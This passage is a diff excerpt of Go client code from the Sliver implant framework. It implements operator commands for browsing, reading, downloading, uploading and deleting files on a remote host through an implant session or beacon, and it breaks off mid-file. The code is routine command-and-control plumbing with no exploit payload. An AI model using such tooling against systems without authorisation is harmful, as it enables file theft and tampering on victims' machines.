}
|
||||
} else {
|
||||
return fmt.Errorf("no lexer found")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func download(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
session := ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
if len(ctx.Args) < 1 {
|
||||
fmt.Println(Warn + "Missing parameter(s), see `help download`\n")
|
||||
return
|
||||
}
|
||||
if len(ctx.Args) == 1 {
|
||||
ctx.Args = append(ctx.Args, ".")
|
||||
}
|
||||
|
||||
src := ctx.Args[0]
|
||||
fileName := filepath.Base(src)
|
||||
dst, _ := filepath.Abs(ctx.Args[1])
|
||||
fi, err := os.Stat(dst)
|
||||
if err != nil && !os.IsNotExist(err) {
|
||||
fmt.Printf(Warn+"%s\n", err)
|
||||
return
|
||||
}
|
||||
if err == nil && fi.IsDir() {
|
||||
dst = path.Join(dst, fileName)
|
||||
}
|
||||
|
||||
if _, err := os.Stat(dst); err == nil {
|
||||
overwrite := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite local file?"}
|
||||
survey.AskOne(prompt, &overwrite, nil)
|
||||
if !overwrite {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
go spin.Until(fmt.Sprintf("%s -> %s", fileName, dst), ctrl)
|
||||
download, err := rpc.Download(context.Background(), &sliverpb.DownloadReq{
|
||||
Request: ActiveSession.Request(ctx),
|
||||
Path: ctx.Args[0],
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if download.Encoder == "gzip" {
|
||||
download.Data, err = new(encoders.Gzip).Decode(download.Data)
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"Decoding failed %s", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
dstFile, err := os.Create(dst)
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"Failed to open local file %s: %s\n", dst, err)
|
||||
return
|
||||
}
|
||||
defer dstFile.Close()
|
||||
n, err := dstFile.Write(download.Data)
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"Failed to write data %v\n", err)
|
||||
} else {
|
||||
fmt.Printf(Info+"Wrote %d bytes to %s\n", n, dstFile.Name())
|
||||
}
|
||||
}
|
||||
|
||||
func upload(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
|
||||
session := ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
if len(ctx.Args) < 1 {
|
||||
fmt.Printf(Warn + "Missing parameter, see `help upload`\n")
|
||||
return
|
||||
}
|
||||
|
||||
src, _ := filepath.Abs(ctx.Args[0])
|
||||
_, err := os.Stat(src)
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if len(ctx.Args) == 1 {
|
||||
fileName := filepath.Base(src)
|
||||
ctx.Args = append(ctx.Args, fileName)
|
||||
}
|
||||
dst := ctx.Args[1]
|
||||
|
||||
fileBuf, err := ioutil.ReadFile(src)
|
||||
uploadGzip := new(encoders.Gzip).Encode(fileBuf)
|
||||
|
||||
ctrl := make(chan bool)
|
||||
go spin.Until(fmt.Sprintf("%s -> %s", src, dst), ctrl)
|
||||
upload, err := rpc.Upload(context.Background(), &sliverpb.UploadReq{
|
||||
Request: ActiveSession.Request(ctx),
|
||||
Path: dst,
|
||||
Data: uploadGzip,
|
||||
Encoder: "gzip",
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"%s\n", err)
|
||||
} else {
|
||||
fmt.Printf(clearln+Info+"Wrote file to %s\n", upload.Path)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,4 @@
|
||||
Filesystem
|
||||
==========
|
||||
|
||||
This package implements file system commands such as `ls`, `cd`, `rm`, `download`, `upload`, etc.
|
||||
@@ -0,0 +1,131 @@
|
||||
package filesystem
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"os"
|
||||
|
||||
"github.com/alecthomas/chroma/formatters"
|
||||
"github.com/alecthomas/chroma/lexers"
|
||||
"github.com/alecthomas/chroma/styles"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// CatCmd - Display the contents of a remote file
|
||||
func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
filePath := ctx.Args.String("path")
|
||||
if filePath == "" {
|
||||
con.PrintErrorf("Missing parameter: file name\n")
|
||||
return
|
||||
}
|
||||
|
||||
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: filePath,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if download.Response != nil && download.Response.Async {
|
||||
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, download)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintCat(download, ctx, con)
|
||||
})
|
||||
con.PrintAsyncResponse(download.Response)
|
||||
} else {
|
||||
PrintCat(download, ctx, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintCat - Print the download to stdout
|
||||
func PrintCat(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var err error
|
||||
if download.Response != nil && download.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", download.Response.Err)
|
||||
return
|
||||
}
|
||||
if download.Encoder == "gzip" {
|
||||
download.Data, err = new(encoders.Gzip).Decode(download.Data)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
if ctx.Flags.Bool("colorize-output") {
|
||||
if err = colorize(download); err != nil {
|
||||
con.Println(string(download.Data))
|
||||
}
|
||||
} else {
|
||||
if ctx.Flags.Bool("hex") {
|
||||
con.Println(hex.Dump(download.Data))
|
||||
} else {
|
||||
con.Println(string(download.Data))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func colorize(f *sliverpb.Download) error {
|
||||
lexer := lexers.Match(f.GetPath())
|
||||
if lexer == nil {
|
||||
lexer = lexers.Analyse(string(f.GetData()))
|
||||
if lexer == nil {
|
||||
lexer = lexers.Fallback
|
||||
}
|
||||
}
|
||||
style := styles.Get("monokai")
|
||||
if style == nil {
|
||||
style = styles.Fallback
|
||||
}
|
||||
formatter := formatters.Get("terminal16m")
|
||||
if formatter == nil {
|
||||
formatter = formatters.Fallback
|
||||
}
|
||||
if lexer != nil {
|
||||
iterator, err := lexer.Tokenise(nil, string(f.GetData()))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = formatter.Format(os.Stdout, style, iterator)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
} else {
|
||||
return fmt.Errorf("no lexer found")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,61 @@
|
||||
package filesystem
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// CdCmd - Change directory on the remote system
|
||||
func CdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
filePath := ctx.Args.String("path")
|
||||
|
||||
pwd, err := con.Rpc.Cd(context.Background(), &sliverpb.CdReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: filePath,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if pwd.Response != nil && pwd.Response.Async {
|
||||
con.AddBeaconCallback(pwd.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, pwd)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintPwd(pwd, con)
|
||||
})
|
||||
con.PrintAsyncResponse(pwd.Response)
|
||||
} else {
|
||||
PrintPwd(pwd, con)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,135 @@
|
||||
package filesystem
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// DownloadCmd - Download a file from the remote system
|
||||
func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
remotePath := ctx.Args.String("remote-path")
|
||||
localPath := ctx.Args.String("local-path")
|
||||
|
||||
src := remotePath
|
||||
fileName := filepath.Base(src)
|
||||
dst, _ := filepath.Abs(localPath)
|
||||
fi, err := os.Stat(dst)
|
||||
if err != nil && !os.IsNotExist(err) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if err == nil && fi.IsDir() {
|
||||
dst = path.Join(dst, fileName)
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, dst), ctrl)
|
||||
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: remotePath,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if download.Response != nil && download.Response.Async {
|
||||
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, download)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintDownload(download, ctx, con)
|
||||
})
|
||||
con.PrintAsyncResponse(download.Response)
|
||||
} else {
|
||||
PrintDownload(download, ctx, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintDownload - Print the download response, and save file to disk
|
||||
func PrintDownload(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if download.Response != nil && download.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", download.Response.Err)
|
||||
return
|
||||
}
|
||||
|
||||
remotePath := ctx.Args.String("remote-path")
|
||||
localPath := ctx.Args.String("local-path")
|
||||
|
||||
src := remotePath
|
||||
fileName := filepath.Base(src)
|
||||
dst, _ := filepath.Abs(localPath)
|
||||
fi, err := os.Stat(dst)
|
||||
if err != nil && !os.IsNotExist(err) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if err == nil && fi.IsDir() {
|
||||
dst = path.Join(dst, fileName)
|
||||
}
|
||||
if _, err := os.Stat(dst); err == nil {
|
||||
overwrite := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite local file?"}
|
||||
survey.AskOne(prompt, &overwrite, nil)
|
||||
if !overwrite {
|
||||
return
|
||||
}
|
||||
}
|
||||
if download.Encoder == "gzip" {
|
||||
download.Data, err = new(encoders.Gzip).Decode(download.Data)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Decoding failed %s", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
dstFile, err := os.Create(dst)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to open local file %s: %s\n", dst, err)
|
||||
return
|
||||
}
|
||||
defer dstFile.Close()
|
||||
n, err := dstFile.Write(download.Data)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write data %v\n", err)
|
||||
} else {
|
||||
con.PrintInfof("Wrote %d bytes to %s\n", n, dstFile.Name())
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,202 @@
|
||||
package filesystem
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// LsCmd - List the contents of a remote directory
|
||||
func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
remotePath := ctx.Args.String("path")
|
||||
filter := ""
|
||||
|
||||
/*
|
||||
Check to see if the remote path is a filter or contains a filter.
|
||||
If the path passes the test to be a filter, then it is a filter
|
||||
because paths are not valid filters.
|
||||
*/
|
||||
if remotePath != "." {
|
||||
|
||||
// Check if the path contains a filter
|
||||
// Test on a standardized version of the path (change any \ to /)
|
||||
testPath := strings.Replace(remotePath, "\\", "/", -1)
|
||||
/*
|
||||
Cannot use the path or filepath libraries because the OS
|
||||
of the client does not necessarily match the OS of the
|
||||
implant
|
||||
*/
|
||||
lastSeparatorOccurrence := strings.LastIndex(testPath, "/")
|
||||
|
||||
if lastSeparatorOccurrence == -1 {
|
||||
// Then this is only a filter
|
||||
filter = remotePath
|
||||
remotePath = "."
|
||||
} else {
|
||||
// Then we need to test for a filter on the end of the string
|
||||
|
||||
// The indicies should be the same because we did not change the length of the string
|
||||
baseDir := remotePath[:lastSeparatorOccurrence+1]
|
||||
potentialFilter := remotePath[lastSeparatorOccurrence+1:]
|
||||
|
||||
_, err := filepath.Match(potentialFilter, "")
|
||||
|
||||
if err == nil {
|
||||
// Then we have a filter on the end of the path
|
||||
remotePath = baseDir
|
||||
filter = potentialFilter
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: remotePath,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintWarnf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if ls.Response != nil && ls.Response.Async {
|
||||
con.AddBeaconCallback(ls.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, ls)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintLs(ls, ctx.Flags, filter, con)
|
||||
})
|
||||
con.PrintAsyncResponse(ls.Response)
|
||||
} else {
|
||||
PrintLs(ls, ctx.Flags, filter, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintLs - Display an sliverpb.Ls object
|
||||
func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, filter string, con *console.SliverConsoleClient) {
|
||||
if ls.Response != nil && ls.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", ls.Response.Err)
|
||||
return
|
||||
}
|
||||
|
||||
con.Printf("%s\n", ls.Path)
|
||||
con.Printf("%s\n", strings.Repeat("=", len(ls.Path)))
|
||||
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
// Extract the flags
|
||||
reverseSort := flags.Bool("reverse")
|
||||
sortByTime := flags.Bool("modified")
|
||||
sortBySize := flags.Bool("size")
|
||||
|
||||
/*
|
||||
By default, name sorting is case sensitive. Upper case entries come before
|
||||
lower case ones. Instead, we will level the playing field and sort
|
||||
regardless of case
|
||||
*/
|
||||
if reverseSort {
|
||||
sort.SliceStable(ls.Files, func(i, j int) bool {
|
||||
return strings.ToLower(ls.Files[i].Name) > strings.ToLower(ls.Files[j].Name)
|
||||
})
|
||||
} else {
|
||||
sort.SliceStable(ls.Files, func(i, j int) bool {
|
||||
return strings.ToLower(ls.Files[i].Name) < strings.ToLower(ls.Files[j].Name)
|
||||
})
|
||||
}
|
||||
|
||||
/*
|
||||
After names are sorted properly, take care of the modified time if the
|
||||
user wants to sort by time. Doing this after sorting by name
|
||||
will make the time sorted entries properly sorted by name if times are equal.
|
||||
*/
|
||||
|
||||
if sortByTime {
|
||||
if reverseSort {
|
||||
sort.SliceStable(ls.Files, func(i, j int) bool {
|
||||
return ls.Files[i].ModTime > ls.Files[j].ModTime
|
||||
})
|
||||
} else {
|
||||
sort.SliceStable(ls.Files, func(i, j int) bool {
|
||||
return ls.Files[i].ModTime < ls.Files[j].ModTime
|
||||
})
|
||||
}
|
||||
} else if sortBySize {
|
||||
if reverseSort {
|
||||
sort.SliceStable(ls.Files, func(i, j int) bool {
|
||||
return ls.Files[i].Size > ls.Files[j].Size
|
||||
})
|
||||
} else {
|
||||
sort.SliceStable(ls.Files, func(i, j int) bool {
|
||||
return ls.Files[i].Size < ls.Files[j].Size
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
for _, fileInfo := range ls.Files {
|
||||
if filter != "" {
|
||||
fileMatch, err := filepath.Match(filter, fileInfo.Name)
|
||||
|
||||
if err != nil {
|
||||
/*
|
||||
This should not happen because we checked the filter
|
||||
before reaching out to the implant.
|
||||
*/
|
||||
con.PrintErrorf("%s is not a valid filter: %s\n", filter, err)
|
||||
break
|
||||
}
|
||||
|
||||
if !fileMatch {
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
modTime := time.Unix(fileInfo.ModTime, 0)
|
||||
implantLocation := time.FixedZone(ls.Timezone, int(ls.TimezoneOffset))
|
||||
modTime = modTime.In(implantLocation)
|
||||
|
||||
if fileInfo.IsDir {
|
||||
fmt.Fprintf(table, "%s\t%s\t<dir>\t%s\n", fileInfo.Mode, fileInfo.Name, modTime.Format(time.RubyDate))
|
||||
} else {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
|
||||
}
|
||||
}
|
||||
table.Flush()
|
||||
con.Printf("%s\n", outputBuf.String())
|
||||
}
|
||||
@@ -0,0 +1,76 @@
|
||||
package filesystem
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// MkdirCmd - Make a remote directory
|
||||
func MkdirCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
filePath := ctx.Args.String("path")
|
||||
|
||||
if filePath == "" {
|
||||
con.PrintErrorf("Missing parameter: directory name\n")
|
||||
return
|
||||
}
|
||||
|
||||
mkdir, err := con.Rpc.Mkdir(context.Background(), &sliverpb.MkdirReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: filePath,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if mkdir.Response != nil && mkdir.Response.Async {
|
||||
con.AddBeaconCallback(mkdir.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, mkdir)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintMkdir(mkdir, con)
|
||||
})
|
||||
con.PrintAsyncResponse(mkdir.Response)
|
||||
} else {
|
||||
PrintMkdir(mkdir, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintMkdir - Print make directory
|
||||
func PrintMkdir(mkdir *sliverpb.Mkdir, con *console.SliverConsoleClient) {
|
||||
if mkdir.Response != nil && mkdir.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", mkdir.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("%s\n", mkdir.Path)
|
||||
}
|
||||
@@ -0,0 +1,67 @@
|
||||
package filesystem
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// PwdCmd - Print the remote working directory
|
||||
func PwdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
pwd, err := con.Rpc.Pwd(context.Background(), &sliverpb.PwdReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if pwd.Response != nil && pwd.Response.Async {
|
||||
con.AddBeaconCallback(pwd.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, pwd)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintPwd(pwd, con)
|
||||
})
|
||||
con.PrintAsyncResponse(pwd.Response)
|
||||
} else {
|
||||
PrintPwd(pwd, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintPwd - Print the remote working directory
|
||||
func PrintPwd(pwd *sliverpb.Pwd, con *console.SliverConsoleClient) {
|
||||
if pwd.Response != nil && pwd.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", pwd.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("%s\n", pwd.Path)
|
||||
}
|
||||
@@ -0,0 +1,78 @@
|
||||
package filesystem
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// RmCmd - Remove a directory from the remote file system
|
||||
func RmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
filePath := ctx.Args.String("path")
|
||||
|
||||
if filePath == "" {
|
||||
con.PrintErrorf("Missing parameter: file or directory name\n")
|
||||
return
|
||||
}
|
||||
|
||||
rm, err := con.Rpc.Rm(context.Background(), &sliverpb.RmReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: filePath,
|
||||
Recursive: ctx.Flags.Bool("recursive"),
|
||||
Force: ctx.Flags.Bool("force"),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if rm.Response != nil && rm.Response.Async {
|
||||
con.AddBeaconCallback(rm.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, rm)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintRm(rm, con)
|
||||
})
|
||||
con.PrintAsyncResponse(rm.Response)
|
||||
} else {
|
||||
PrintRm(rm, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintRm - Print the rm response
|
||||
func PrintRm(rm *sliverpb.Rm, con *console.SliverConsoleClient) {
|
||||
if rm.Response != nil && rm.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", rm.Response.Err)
|
||||
return
|
||||
}
|
||||
